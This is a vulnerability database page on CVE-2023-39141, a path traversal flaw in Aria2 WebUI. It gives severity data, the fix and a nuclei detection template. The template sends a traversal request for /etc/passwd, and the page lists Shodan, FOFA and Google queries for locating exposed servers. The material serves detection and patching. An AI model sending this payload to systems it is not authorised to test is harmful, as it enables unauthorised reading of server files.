HexBrain

Browse / CVEs / CVE-2023-39141

CVE-2023-39141· ziahamza / webui-aria2· CWE-22

Aria2 WebUI - Path traversal

highseverity
7.5CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Upgrade to the latest version of Aria2 WebUI to fix the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}} ; GET {{BaseURL}}/../../../../etc/passwd
Positive when: contains(body_1, "Aria2 WebUI") and regex("root:x:0:0:",body_2)

Run it with nuclei: nuclei -id CVE-2023-39141 -u <target>

The full check
id: CVE-2023-39141

info:
  name: Aria2 WebUI - Path traversal
  author: DhiyaneshDk
  severity: high
  description: |
    webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Aria2 WebUI to fix the path traversal vulnerability.
  reference:
    - https://twitter.com/win3zz/status/1694239332465520684
    - https://gist.github.com/JafarAkhondali/528fe6c548b78f454911fb866b23f66e
    - https://github.com/ziahamza/webui-aria2/blob/109903f0e2774cf948698cd95a01f77f33d7dd2c/node-server.js#L10
    - https://github.com/codeb0ss/CVE-2023-39141-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39141
    cwe-id: CWE-22
    epss-score: 0.03367
    epss-percentile: 0.88845
    cpe: cpe:2.3:a:ziahamza:webui-aria2:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ziahamza
    product: webui-aria2
    shodan-query:
      - title:"Aria2 WebUI"
      - http.title:"aria2 webui"
    fofa-query: title="aria2 webui"
    google-query: intitle:"aria2 webui"
  tags: cve2023,cve,lfi,unauth,aria2,webui,ziahamza,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Aria2 WebUI")'
          - 'regex("root:x:0:0:",body_2)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from